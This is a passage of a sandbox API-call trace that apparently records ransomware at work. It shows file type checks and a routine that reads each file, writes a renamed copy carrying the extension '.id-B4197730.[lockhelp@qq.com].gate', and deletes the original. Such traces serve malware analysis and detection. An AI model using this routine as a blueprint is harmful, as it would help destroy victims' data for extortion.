returned 4 [0113.142] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.142] lstrlenW (lpString=".xlsx") returned 5 [0113.142] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.142] lstrlenW (lpString=".ppt") returned 4 [0113.142] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0113.142] lstrlenW (lpString=".zip") returned 4 [0113.142] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.142] lstrlenW (lpString=".rar") returned 4 [0113.142] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.142] lstrlenW (lpString=".bz2") returned 4 [0113.142] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.142] lstrlenW (lpString=".7z") returned 3 [0113.142] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0113.143] lstrlenW (lpString=".dbf") returned 4 [0113.143] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0113.143] lstrlenW (lpString=".1cd") returned 4 [0113.143] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0113.143] lstrlenW (lpString=".jpg") returned 4 [0113.143] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.143] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0113.143] lstrlenW (lpString="LocalizedData.xml") returned 17 [0113.143] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0113.143] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=77680) returned 1 [0113.143] CloseHandle (hObject=0x320) returned 1 [0113.143] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0113.144] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.144] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0113.144] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.144] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.144] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0113.144] GetLastError () returned 0x0 [0113.144] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x12f70, lpOverlapped=0x0) returned 1 [0113.193] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x12f80, lpOverlapped=0x0) returned 1 [0113.195] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.195] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xf6, lpOverlapped=0x0) returned 1 [0113.195] SetEndOfFile (hFile=0x2c0) returned 1 [0113.196] CloseHandle (hObject=0x2c0) returned 1 [0113.197] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.197] SetEndOfFile (hFile=0x320) returned 1 [0113.199] CloseHandle (hObject=0x320) returned 1 [0113.199] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.199] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1 [0113.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0113.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0113.199] lstrlenW (lpString=".doc") returned 4 [0113.199] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.199] lstrlenW (lpString=".docx") returned 5 [0113.199] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.199] lstrlenW (lpString=".pdf") returned 4 [0113.199] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.199] lstrlenW (lpString=".xls") returned 4 [0113.199] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.199] lstrlenW (lpString=".xlsx") returned 5 [0113.199] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.199] lstrlenW (lpString=".ppt") returned 4 [0113.200] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0113.200] lstrlenW (lpString=".zip") returned 4 [0113.200] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.200] lstrlenW (lpString=".rar") returned 4 [0113.200] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.200] lstrlenW (lpString=".bz2") returned 4 [0113.200] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.200] lstrlenW (lpString=".7z") returned 3 [0113.200] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0113.200] lstrlenW (lpString=".dbf") returned 4 [0113.200] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0113.200] lstrlenW (lpString=".1cd") returned 4 [0113.200] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0113.200] lstrlenW (lpString=".jpg") returned 4 [0113.200] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0113.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0113.200] lstrlenW (lpString=".doc") returned 4 [0113.200] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.200] lstrlenW (lpString=".docx") returned 5 [0113.200] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.200] lstrlenW (lpString=".pdf") returned 4 [0113.200] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.200] lstrlenW (lpString=".xls") returned 4 [0113.200] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.200] lstrlenW (lpString=".xlsx") returned 5 [0113.201] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.201] lstrlenW (lpString=".ppt") returned 4 [0113.201] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.201] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0113.201] lstrlenW (lpString=".zip") returned 4 [0113.201] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.201] lstrlenW (lpString=".rar") returned 4 [0113.201] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.201] lstrlenW (lpString=".bz2") returned 4 [0113.201] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.201] lstrlenW (lpString=".7z") returned 3 [0113.201] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.201] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0113.201] lstrlenW (lpString=".dbf") returned 4 [0113.201] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.201] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0113.201] lstrlenW (lpString=".1cd") returned 4 [0113.201] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.201] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0113.201] lstrlenW (lpString=".jpg") returned 4 [0113.201] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.201] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0113.201] lstrlenW (lpString="eula.rtf") returned 8 [0113.201] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0113.242] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=5827) returned 1 [0113.242] CloseHandle (hObject=0x340) returned 1 [0113.242] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0113.242] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.255] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0113.255] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.255] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.255] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0113.273] GetLastError () returned 0x0 [0113.273] ReadFile (in: hFile=0x35c, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x16c3, lpOverlapped=0x0) returned 1 [0113.308] WriteFile (in: hFile=0x320, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0113.309] ReadFile (in: hFile=0x35c, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.309] WriteFile (in: hFile=0x320, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xe4, lpOverlapped=0x0) returned 1 [0113.309] SetEndOfFile (hFile=0x320) returned 1 [0113.309] CloseHandle (hObject=0x320) returned 1 [0113.310] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.310] SetEndOfFile (hFile=0x35c) returned 1 [0113.311] CloseHandle (hObject=0x35c) returned 1 [0113.311] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.311] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1 [0113.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0113.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0113.312] lstrlenW (lpString=".doc") returned 4 [0113.312] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0113.312] lstrlenW (lpString=".docx") returned 5 [0113.312] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0113.312] lstrlenW (lpString=".pdf") returned 4 [0113.312] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0113.312] lstrlenW (lpString=".xls") returned 4 [0113.312] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0113.312] lstrlenW (lpString=".xlsx") returned 5 [0113.312] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0113.312] lstrlenW (lpString=".ppt") returned 4 [0113.312] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0113.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0113.312] lstrlenW (lpString=".zip") returned 4 [0113.312] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0113.312] lstrlenW (lpString=".rar") returned 4 [0113.312] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0113.312] lstrlenW (lpString=".bz2") returned 4 [0113.312] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0113.312] lstrlenW (lpString=".7z") returned 3 [0113.312] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0113.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0113.312] lstrlenW (lpString=".dbf") returned 4 [0113.313] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0113.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0113.313] lstrlenW (lpString=".1cd") returned 4 [0113.313] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0113.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0113.313] lstrlenW (lpString=".jpg") returned 4 [0113.313] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0113.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0113.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0113.313] lstrlenW (lpString=".doc") returned 4 [0113.313] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0113.313] lstrlenW (lpString=".docx") returned 5 [0113.313] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0113.313] lstrlenW (lpString=".pdf") returned 4 [0113.313] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0113.313] lstrlenW (lpString=".xls") returned 4 [0113.313] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0113.313] lstrlenW (lpString=".xlsx") returned 5 [0113.313] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0113.313] lstrlenW (lpString=".ppt") returned 4 [0113.313] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0113.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0113.313] lstrlenW (lpString=".zip") returned 4 [0113.313] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0113.313] lstrlenW (lpString=".rar") returned 4 [0113.313] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0113.313] lstrlenW (lpString=".bz2") returned 4 [0113.313] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0113.313] lstrlenW (lpString=".7z") returned 3 [0113.313] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0113.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0113.314] lstrlenW (lpString=".dbf") returned 4 [0113.314] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0113.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0113.314] lstrlenW (lpString=".1cd") returned 4 [0113.314] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0113.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0113.314] lstrlenW (lpString=".jpg") returned 4 [0113.314] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0113.314] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0113.314] lstrlenW (lpString="eula.rtf") returned 8 [0113.314] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0113.314] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=6309) returned 1 [0113.314] CloseHandle (hObject=0x35c) returned 1 [0113.314] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0113.314] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.315] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0113.315] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.315] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.315] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0113.315] GetLastError () returned 0x0 [0113.315] ReadFile (in: hFile=0x35c, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x18a5, lpOverlapped=0x0) returned 1 [0113.333] WriteFile (in: hFile=0x320, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x18b0, lpOverlapped=0x0) returned 1 [0113.334] ReadFile (in: hFile=0x35c, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.334] WriteFile (in: hFile=0x320, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xe4, lpOverlapped=0x0) returned 1 [0113.334] SetEndOfFile (hFile=0x320) returned 1 [0113.334] CloseHandle (hObject=0x320) returned 1 [0113.335] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.335] SetEndOfFile (hFile=0x35c) returned 1 [0113.336] CloseHandle (hObject=0x35c) returned 1 [0113.336] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.337] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1 [0113.337] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0113.337] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0113.337] lstrlenW (lpString=".doc") returned 4 [0113.337] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0113.337] lstrlenW (lpString=".docx") returned 5 [0113.337] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0113.337] lstrlenW (lpString=".pdf") returned 4 [0113.337] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0113.337] lstrlenW (lpString=".xls") returned 4 [0113.337] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0113.337] lstrlenW (lpString=".xlsx") returned 5 [0113.337] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0113.337] lstrlenW (lpString=".ppt") returned 4 [0113.337] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0113.337] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0113.337] lstrlenW (lpString=".zip") returned 4 [0113.338] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0113.338] lstrlenW (lpString=".rar") returned 4 [0113.338] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0113.338] lstrlenW (lpString=".bz2") returned 4 [0113.338] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0113.338] lstrlenW (lpString=".7z") returned 3 [0113.338] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0113.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0113.338] lstrlenW (lpString=".dbf") returned 4 [0113.338] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0113.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0113.338] lstrlenW (lpString=".1cd") returned 4 [0113.338] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0113.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0113.338] lstrlenW (lpString=".jpg") returned 4 [0113.338] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0113.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0113.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0113.338] lstrlenW (lpString=".doc") returned 4 [0113.338] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0113.338] lstrlenW (lpString=".docx") returned 5 [0113.338] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0113.338] lstrlenW (lpString=".pdf") returned 4 [0113.338] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0113.338] lstrlenW (lpString=".xls") returned 4 [0113.339] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0113.339] lstrlenW (lpString=".xlsx") returned 5 [0113.339] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0113.339] lstrlenW (lpString=".ppt") returned 4 [0113.339] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0113.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0113.339] lstrlenW (lpString=".zip") returned 4 [0113.339] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0113.339] lstrlenW (lpString=".rar") returned 4 [0113.339] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0113.339] lstrlenW (lpString=".bz2") returned 4 [0113.339] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0113.339] lstrlenW (lpString=".7z") returned 3 [0113.339] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0113.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0113.339] lstrlenW (lpString=".dbf") returned 4 [0113.339] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0113.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0113.339] lstrlenW (lpString=".1cd") returned 4 [0113.339] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0113.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0113.339] lstrlenW (lpString=".jpg") returned 4 [0113.339] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0113.340] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0113.340] lstrlenW (lpString="eula.rtf") returned 8 [0113.340] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0113.340] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=3069) returned 1 [0113.340] CloseHandle (hObject=0x35c) returned 1 [0113.340] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0113.340] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.340] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0113.340] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: 